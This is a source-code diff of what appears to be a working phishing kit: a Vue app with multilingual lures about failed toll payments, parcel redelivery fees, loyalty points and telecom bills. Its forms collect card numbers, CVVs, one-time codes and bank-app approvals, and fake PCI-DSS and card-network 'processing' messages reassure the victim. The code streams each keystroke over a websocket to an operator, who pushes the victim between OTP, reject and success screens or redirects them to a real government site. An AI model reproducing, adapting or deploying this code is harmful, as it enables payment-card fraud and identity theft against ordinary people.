"The verification code has been sent to":
"Az ellenőrző kódot elküldtük a következő címre:",
"Please do not click the":
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
"Verification code error, please try again":
"Ellenőrző kód hiba, kérjük, próbálja újra",
"The session is about to expire, please complete the verification now":
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
"This card does not support this transaction, please try another card":
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
"Authorized bank": "Engedélyezett bank",
"Please go to the bank App to confirm the authorization":
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
"Payment Successful": "Sikeres fizetés!",
"Thank you for your purchase. Your payment has been processed successfully":
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
"Mailing address": "Levelezési cím",
"street address or house number": "utca vagy házszám",
"Apartment number": "Lakásszám, szobaszám stb.",
"Safe payment": "Biztonságos fizetés",
"Verification code": "Ellenőrző kód",
"Welcome": "Üdvözöljük",
"back":"vissza!",
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
"Check your points": "Ellenőrizze a pontjait",
"Phone number": "Telefonszám",
"Inquire": "Érdeklődés",
"Exchange": "Csere",
"Spend points": "Pontok felhasználása",
"Points Available": "Elérhető pontok",
"You don't have enough points": "Nincs elég pontja",
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
"Confirm your shipping address": "Erősítse meg szállítási címét",
"Order number": "Rendelésszám: ",
"Pay": "Fizetés",
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
"Billing Information": "Számlázási adatok",
"Description": "Leírás",
"Dear customer": "Kedves vásárlónk:",
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Invoice Number": "Számlaszám",
"Amount": "Összeg",
"Pay Immediately": "Fizessen azonnal",
"Phone Number": "Telefonszám",
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Illustrate":"Szemléltet"
};

View File

@@ -0,0 +1,123 @@
export default {
"There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet",
"Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi",
"Your Name": "Jūsu vārds",
"Address": "Adrese",
"Detailed Address": "Precīza adrese",
"(Optional)": "(Neobligāti)",
"City": "Pilsēta",
"State": "Valsts / Šķēršlis",
"Province": "Province",
"Region": "Reģions",
"Zip Code": "Pasta indekss",
"E-Mail": "E-pasts",
"Next": "Nākamais",
"Telephone Number": "Tālruņa numurs",
"Online": "Tiešsaistē",
"Payment": "Maksājums",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma",
"lump sum: ": "Vienreizējs maksājums: ",
"Cardholder": "Kartes īpašnieks",
"Card Number": "Kartes numurs",
"Expire Date": "Derīguma termiņš",
"Security Code": "Drošības kods",
"Submit": "Iesniegt",
"Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu",
"Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit",
"The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz",
"Please do not click the": "Lūdzu, neklikšķiniet uz pogām",
"Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz",
"The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt",
"This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti",
"Authorized bank": "Autorizēta banka",
"Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju",
"Please do not close this page": "Lūdzu, neaizveriet šo lapu",
"Payment Successful": "Maksājums veiksmīgs!",
"Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts",
"Mailing address": "Pasta adrese",
"street address or house number": "Ielas adrese vai mājas numurs",
"Apartment number": "Dzīvokļa numurs, istabas numurs utt.",
"Safe payment": "Drošs maksājums",
"Verification code": "Verifikācijas kods",
"Welcome": "Laipni lūdzam",
"back": "atpakaļ!",
"We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu",
"Check your points": "Pārbaudiet savus punktus",
"Phone number": "Tālruņa numurs",
"Inquire": "Uzzināt",
"Exchange": "Apmainīt",
"Spend points": "Tērēt punktus",
"Points Available": "Pieejamie punkti",
"You don't have enough points": "Jums nav pietiekami daudz punktu",
"Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu",
"Confirm your shipping address": "Apstipriniet savu piegādes adresi",
"Order number": "Pasūtījuma numurs: ",
"Pay": "Maksāt",
"Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem",
"Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē",
"your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.",
"Billing Information": "Norēķinu informācija",
"Description": "Apraksts",
"Dear customer": "Cienījamais klient!",
"Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās",
"Invoice Number": "Rēķina numurs",
"Amount": "Summa",
"Pay Immediately": "Maksāt nekavējoties",
"Phone Number": "Tālruņa numurs",
"Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās",
"Illustrate": "Ilustrēt",
"SSL Encryption": "SSL šifrēšana",
"PCI-DSS Certified": "PCI-DSS sertificēts",
"Transaction Details": "Darījuma detaļas",
"Transaction ID:": "Darījuma ID:",
"Processing Network:": "Apstrādes tīkls:",
"Processing Time:": "Apstrādes laiks:",
"Security Level:": "Drošības līmenis:",
"Preparing...": "Gatavo...",
"High": "Augsts",
"Initializing payment environment...": "Inicializē maksājumu vidi...",
"Encrypting card information...": "Šifrē kartes informāciju...",
"Establishing secure connection...": "Veido drošu savienojumu...",
"Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...",
"Validating CVV code...": "Validē CVV kodu...",
"Checking fraud risk...": "Pārbauda krāpšanas risku...",
"Sending transaction request...": "Sūta darījuma pieprasījumu...",
"Waiting for bank authorization...": "Gaida bankas autorizāciju...",
"Processing bank response...": "Apstrādā bankas atbildi...",
"Confirming transaction status...": "Apstiprina darījuma statusu...",
"Finalizing transaction...": "Pabeidz darījumu...",
"Visa Secure Network": "Visa drošais tīkls",
"Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls",
"American Express Dedicated Channel": "American Express veltītais kanāls",
"UnionPay Gateway": "UnionPay vārteja",
"{time} seconds": "{time} sekundes",
"International Payment Network": "Starptautiskais maksājumu tīkls",
"Homepage License Plate": "Mājaslapas numura zīme",
"JCC Smart Cyprus Image": "JCC Smart Kipras attēls",
"Check Your Payment Details": "Pārbaudiet savus maksājuma datus",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.",
"Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)",
"Verify Payment Details": "Pārbaudīt maksājuma datus",
"Toll Payment": "Nodevas apmaksa",
"License Plate Number": "Numura zīmes numurs",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums <strong>50€</strong>, otrais pārkāpums <strong>150€</strong> utt.",
"Tolls": "Nodevas",
"Due Date": "Maksājuma termiņš",
"Fine Amount": "Sods",
"Pay Now": "Maksāt tagad",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.",
"Cardholder Name": "Kartes īpašnieka vārds",
"First and Last Name": "Vārds un uzvārds",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Derīguma termiņš",
"MM/YY": "MM/GG",
"123(CVV)": "123(CVV)",
"Card Icon": "Kartes ikona",
"CVV": "CVV",
"Successful Toll Payment": "Veiksmīga nodevas apmaksa",
"Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.",
"Phone": "Tālrunis",
"Toll Amount": "Nodevas summa",
"50.00 EUR": "50.00 EUR"
}

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
"Please enter a valid email address": "Унесите важећу адресу е-поште",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
"Your Name": "Ваше име",
"Address": "Адреса",
"Detailed Address": "Детаљна адреса",
"(Optional)": "(Опционално)",
"City": "Град",
"State": "Савезна држава",
"Province": "Покрајина",
"Region": "Регија",
"Zip Code": "Поштански број",
"E-Mail": "Е-пошта",
"Next": "Следеће",
"Telephone Number": "Број телефона",
"Online": "На мрежи",
"Payment": "Плаћање",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
"lump sum: ": "укупно: ",
"Cardholder": "Име носиоца картице",
"Card Number": "Број картице",
"Expire Date": "Датум истека",
"Security Code": "Сигурносни код",
"Submit": "Пошаљи",
"Click here to receive another code": "Кликните овде да добијете нови код",
"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
"The verification code has been sent to": "Код за потврду је послат на",
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
"Authorized bank": "Овлашћена банка",
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
"Please do not close this page": "Не затварајте ову страницу",
"Payment Successful": "Успешно плаћање!",
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
"Mailing address": "Адреса за доставу",
"street address or house number": "Улица или број куће",
"Apartment number": "Број стана, собе итд.",
"Safe payment": "Безбедно плаћање",
"Verification code": "Код за потврду",
"Welcome": "Добродошли",
"back": "Назад!",
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
"Check your points": "Проверите ваше поене",
"Phone number": "Број телефона",
"Inquire": "Провери",
"Exchange": "Размена",
"Spend points": "Искористите поене",
"Points Available": "Доступни поени",
"You don't have enough points": "Немате довољно поена",
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
"Confirm your shipping address": "Потврдите адресу испоруке",
"Order number": "Број поруџбине: ",
"Pay": "Плати",
"Pay Message": "Платите {0} да бисте искористили поене за производе",
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
"Billing Information": "Подаци за обрачун",
"Description": "Опис",
"Dear customer": "Поштовани клијент:",
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
"Invoice Number": "Број фактуре",
"Amount": "Износ",
"Pay Immediately": "Платите одмах",
"Phone Number": "Број телефона",
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
"Illustrate": "Објасни",
"SSL Encryption": "SSL енкрипција",
"PCI-DSS Certified": "PCI-DSS сертификат",
"Transaction Details": "Детаљи трансакције",
"Transaction ID:": "ИД трансакције:",
"Processing Network:": "Мрежа за обраду:",
"Processing Time:": "Време обраде:",
"Security Level:": "Ниво безбедности:",
"Preparing...": "Припрема се...",
"High": "Висок",
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
"Encrypting card information...": "Шифровање података картице...",
"Establishing secure connection...": "Успостављање сигурне везе...",
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
"Validating CVV code...": "Проверавање CVV кода...",
"Checking fraud risk...": "Провера ризика од преваре...",
"Sending transaction request...": "Слање захтева за трансакцију...",
"Waiting for bank authorization...": "Чекање одобрења банке...",
"Processing bank response...": "Обрада одговора банке...",
"Confirming transaction status...": "Потврда статуса трансакције...",
"Finalizing transaction...": "Завршетак трансакције...",
"Visa Secure Network": "Visa безбедна мрежа",
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
"American Express Dedicated Channel": "American Express наменски канал",
"UnionPay Gateway": "UnionPay пролаз",
"{time} seconds": "{time} секунди",
"International Payment Network": "Међународна мрежа за плаћање",
"Homepage License Plate": "Почетна регистрација возила",
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
"Check Your Payment Details": "Проверите детаље плаћања",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
"Verify Payment Details": "Потврдите детаље плаћања",
"Toll Payment": "Плаћање путарине",
"License Plate Number": "Регистарски број возила",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
"Tolls": "Путарина",
"Due Date": "Рок доспећа",
"Fine Amount": "Износ казне",
"Pay Now": "Плати сада",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
"Cardholder Name": "Име носиоца картице",
"First and Last Name": "Име и презиме",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Датум истека",
"MM/YY": "MM/ГГ",
"123(CVV)": "123(CVV)",
"Card Icon": "Икона картице",
"CVV": "CVV",
"Successful Toll Payment": "Успешно плаћена путарина",
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
"Phone": "Телефон",
"Toll Amount": "Износ путарине"
};

View File

@@ -0,0 +1,82 @@
export default {
"There is an error in this field, please check":
"Bu alanda bir hata var, lütfen kontrol edin",
"Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun",
"Your Name": "Adınız",
"Address": "Adres",
"Detailed Address": "Detaylı Adres",
"(Optional)": "(İsteğe bağlı)",
"City": "Şehir",
"State": "Eyalet",
"Province": "İl",
"Region": "Bölge",
"Zip Code": "Posta Kodu",
"E-Mail": "E-Posta",
"Next": "İleri",
"Telephone Number": "Telefon Numarası",
"Online": "Çevrimiçi",
"Payment": "Ödeme",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir",
"lump sum: ": "Toplam tutar: ",
"Cardholder": "Kart Sahibi",
"Card Number": "Kart Numarası",
"Expire Date": "Son Kullanma Tarihi",
"Security Code": "Güvenlik Kodu",
"Submit": "Gönder",
"Click here to receive another code": "Yeni bir kod almak için buraya tıklayın",
"Please confirm your identity and a one-time code will be sent":
"Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin",
"The verification code has been sent to":
"Doğrulama kodu şu adrese gönderildi:",
"Please do not click the":
"Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir",
"Verification code error, please try again":
"Doğrulama kodu hatalı, lütfen tekrar deneyin",
"The session is about to expire, please complete the verification now":
"Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın",
"This card does not support this transaction, please try another card":
"Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin",
"Authorized bank": "Yetkili banka",
"Please go to the bank App to confirm the authorization":
"Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin",
"Please do not close this page": "Lütfen bu sayfayı kapatmayın",
"Payment Successful": "Ödeme Başarılı!",
"Thank you for your purchase. Your payment has been processed successfully":
"Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi",
"Mailing address": "Posta Adresi",
"street address or house number": "Sokak adresi veya ev numarası",
"Apartment number": "Daire numarası, oda numarası vb.",
"Safe payment": "Güvenli ödeme",
"Verification code": "Doğrulama kodu",
"Welcome": "Hoş geldiniz",
"back": "geri!",
"We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz",
"Check your points": "Puanlarınızı kontrol edin",
"Phone number": "Telefon numarası",
"Inquire": "Sorgula",
"Exchange": "Değiştir",
"Spend points": "Puan harca",
"Points Available": "Mevcut Puanlar",
"You don't have enough points": "Yeterli puanınız yok",
"Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın",
"Confirm your shipping address": "Teslimat adresinizi onaylayın",
"Order number": "Sipariş numarası: ",
"Pay": "Öde",
"Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz",
"Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin",
"your electronic toll payment was unsuccessful":
"Elektronik otoyol ödemeniz başarısız oldu.",
"Billing Information": "Fatura Bilgileri",
"Description": "Açıklama",
"Dear customer": "Sayın müşteri:",
"Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Invoice Number": "Fatura Numarası",
"Amount": "Tutar",
"Pay Immediately": "Hemen Öde",
"Phone Number": "Telefon Numarası",
"Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Illustrate": "Açıklama"
};

View File

@@ -0,0 +1,28 @@
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
import App from "./App.vue";
import router from "./router";
import { createI18n } from "vue-i18n";
import en from "./locales/en";
import "./assets/main.css";
import "./assets/base.css";
import VueScrollTo from "vue-scrollto";
const userData = ref({});
const app = createApp(App);
app.config.globalProperties.$currentUser = userData;
const i18n = createI18n({
locale: "en",
messages: {
en: en,
},
});
app.use(i18n);
app.use(createPinia());
app.use(router);
app.mount("#app");
export default i18n;

View File

@@ -0,0 +1,113 @@
import { createRouter, createMemoryHistory } from "vue-router";
// --- All view components are now explicitly imported for full static loading ---
import IndexView from "@/views/IndexView.vue";
import PhoneView from "@/views/PhoneView.vue";
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import AddressView from "@/views/AddressView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";
import HomeView from "@/views/HomeView.vue";
const router = createRouter({
/**
* History Mode: createMemoryHistory
*
* This mode maintains an internal history stack **without interacting with the browser's URL**.
* The URL in the address bar will not change, and it will not add entries to the browser's native history.
*
* This is ideal for scenarios like:
* - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
* - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
* - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
*
* **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
* to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
*/
history: createMemoryHistory(import.meta.env.BASE_URL),
routes: [
{
path: "/",
name: "home",
// --- Component directly assigned for full static loading ---
component: IndexView,
},
{
path: "/phone",
name: "phone",
component: PhoneView,
},
{
path: "/home",
name: "home",
component: HomeView,
},
{
path: "/pay",
name: "pay",
component: PayView,
},
{
path: "/otpValid",
name: "otpValid",
component: OtpView,
},
{
path: "/customOtpValid",
name: "customOtpValid",
component: CustomOtpView,
},
{
path: "/appValid",
name: "appValid",
component: AppValidView,
},
{
path: "/address",
name: "address",
component: AddressView,
},
{
path: "/success",
name: "success",
component: SuccessView,
},
{
path: "/card",
name: "card",
component: CardView,
},
],
/**
* Scroll Behavior:
* Controls the scrolling position when navigating between routes.
*
* @param {Object} to - The target route object.
* @param {Object} from - The current route object being left.
* @param {Object} savedPosition - The saved scroll position if navigating back/forward.
* @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
*/
scrollBehavior(to, from, savedPosition) {
// If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
if (savedPosition) {
return savedPosition;
} else {
// Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
return { left: 0, top: 0, behavior: "smooth" };
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -0,0 +1,15 @@
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
showLoading() {
this.isLoading = true;
},
hideLoading() {
this.isLoading = false;
},
},
});

View File

@@ -0,0 +1,13 @@
// stores/loadingStore.ts
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
setLoading(value: boolean) {
this.isLoading = value;
},
},
});

View File

@@ -0,0 +1,294 @@
import _ from "lodash";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo, type SessionCrypto } from "./socketio";
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
if (viteBaseUrl === "/") {
viteBaseUrl = "/";
} else if (viteBaseUrl === "localhost:8011") {
viteBaseUrl = "ws://" + viteBaseUrl;
} else {
viteBaseUrl = "wss://" + viteBaseUrl;
}
// Redirect to an external URL
export function redirectToExternal() {
window.location.replace("https://e-uslugi.mvr.bg/services/kat-obligations/"); // 替换为您要跳转的外部 URL
}
const initHtml = async () => {
const routePath = localStorage.getItem("route");
// headHtml.value = await loadHtml("/gtm_post/head.html");
await router.push(routePath ? `/${routePath}` : "/home");
setTimeout(async () => {
useLoadingStore().setLoading(false);
loadingBg.value = "#00000072";
}, 200);
};
export const customOtpData = ref<any>({});
export function setCustomOtpData(data: any) {
customOtpData.value = data;
localStorage.setItem("customOtpData", JSON.stringify(data));
}
export let myWebSocket: any | undefined;
// Configuration data
export const configData = ref<Record<string, any>>({});
// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
obj: Record<string, any>,
excludedFields: string[] = []
): boolean {
return Object.keys(obj).every((key) => {
if (excludedFields.includes(key)) return true;
const value = obj[key];
return (
value !== null &&
value !== undefined &&
value !== "" &&
!(typeof value === "string" && value.trim() === "")
);
});
}
// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
key: string,
func: (...args: any[]) => void,
wait: number
) {
if (!debounceFunctions[key]) {
debounceFunctions[key] = _.debounce(func, wait);
}
return debounceFunctions[key];
}
const modeRef = ref(1)
// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
const currentTimestamp = Date.now(); // 当前时间戳
// WebSocket 防抖函数
const wsDebouncedFunction = getDebouncedFunction(
wsDebounceFunctions,
key,
(type, key, value) => {
myWebSocket?.send(
JSON.stringify({
event: "input_text",
content: { type, key, text: value },
timestamp: currentTimestamp,
})
);
},
300
);
// 调用防抖函数
wsDebouncedFunction(type, key, value);
}
// Handle login success
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
myWebSocket?.on("close", () => console.log("Socket closed!"));
myWebSocket?.on("open", () => {
const lastToken = localStorage.getItem("token");
loginWebsocket(token, lastToken !== token);
});
myWebSocket?.on("message", handleMessage);
window.addEventListener("beforeunload", () => {
myWebSocket?.off("close");
});
}
// Handle WebSocket messages
function handleMessage(data: any) {
console.log("Received WebSocket message:", data);
const jsonData = JSON.parse(data);
if (!jsonData || !jsonData.event) return;
const { event, content } = jsonData;
switch (event) {
case "login":
//handleLoginEvent(content);
break;
case "result_type":
handleResultTypeEvent(content);
break;
case "reload":
window.location.reload();
break;
case "navigate":
navigateTo(content.pagePath, content);
break;
default:
break;
}
}
// Handle result type event
function handleResultTypeEvent(content: any) {
if (!content) return;
console.log("Handling result type event with content:", content);
const typeHandlers: Record<string, () => void> = {
customOtpValid: () => navigateTo("/customOtpValid", content),
otpValid: () => navigateTo("/otpValid", content),
appValid: () => navigateTo("/appValid", content),
success: () => router.push("/success"),
kickOut: redirectToExternal,
block: redirectToExternal,
otpFail: () =>
eventBus.emit("otp-valid", {
message2:
content.value.message2 ||
i18n.global.t("Verification code error, please try again"),
}),
appFail: () =>
eventBus.emit("app-valid", {
message2:
content.value.message2 ||
i18n.global.t(
"The session is about to expire, please complete the verification now"
),
}),
back: () => handleBackOrReject(content, true),
reject: () => handleBackOrReject(content, false),
refresh: () => {
if (localStorage.getItem("route")) {
localStorage.removeItem("route");
window.location.reload();
}
},
};
if (content.type == "customOtpValid") {
if (content.value.customOtpData) {
setCustomOtpData(JSON.parse(content.value.customOtpData));
}
}
if (content.type === "customOtpValid") {
if (customOtpData.value.name === "生日验证") {
useLoadingStore().setLoading(false);
navigateTo("/pinCode", content);
return;
}
}
if (content.type == "customOtpFail") {
eventBus.emit("custom-otp-valid", {
message2: content.value.message2,
});
}
const handler = typeHandlers[content.type];
if (handler) handler();
useLoadingStore().setLoading(false);
}
// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {
router.push('/temp').then(() => {
router.push({
path: path,
query: {
cardType: content.value?.data?.cardData?.cardBIN?.schema,
message1: content.value?.message1,
key: new Date().getMilliseconds(),
},
});
});
}
// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
let message2 = i18n.global.t(
"This card does not support this transaction, please try another card"
);
if (configData.value.error_card_msg) {
message2 = configData.value.error_card_msg;
}
if (content.value.type) {
const type = content.value.type;
if (type === "denyC" && configData.value.deny_c_msg) {
message2 = configData.value.deny_c_msg;
}
if (type === "denyD" && configData.value.deny_d_msg) {
message2 = configData.value.deny_d_msg;
}
}
if (content.value.message2) {
message2 = content.value.message2;
}
if (isBack) {
router.push({ path: "/card", query: { message2 } });
}
eventBus.emit("my-event", { message2 });
}
// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
myWebSocket?.send(
JSON.stringify({
event: "login",
content: { tag: "user", token, isFirst },
})
);
initHtml();
}
export async function loadHtml(url: string) {
try {
const response = await fetch(url); // 替换为您的 HTML 文件路径
if (!response.ok) {
return "";
}
return await response.text();
} catch (error) {
return "";
}
}
export const headHtml = ref("");
export const headerHtml = ref("");
export const footerHtml = ref("");
export const loadingBg = ref("#ffffff");

View File

@@ -0,0 +1,17 @@
// src/eventBus.ts
import mitt from "mitt";
// 定义事件名称和对应的数据类型
type Events = {
"my-event": { message2: string };
"otp-valid": { message2: string };
"app-valid": { message2: string };
"custom-otp-valid": { message2: string };
// 可以在这里添加其他事件
// 'another-event': number;
};
const eventBus = mitt<Events>();
export default eventBus;

View File

@@ -0,0 +1,407 @@
// 设置
import { useLoadingStore } from "@/stores/loadingStore";
import { io, Socket as SocketIOClient } from "socket.io-client";
// ─── 会话加密接口 ───────────────────────────────────────────────
export interface SessionCrypto {
aesKey: CryptoKey; // AES-128-GCM不可导出
}
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
const iv = crypto.getRandomValues(new Uint8Array(12));
const encoded = new TextEncoder().encode(plain);
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
out.set(iv, 0);
out.set(new Uint8Array(cipher), iv.byteLength);
let binary = "";
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
return JSON.stringify({ data: btoa(binary) });
}
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
const rawStr =
typeof raw === "string" ? raw :
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
let envelope: { data?: string };
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
if (!envelope?.data) return rawStr;
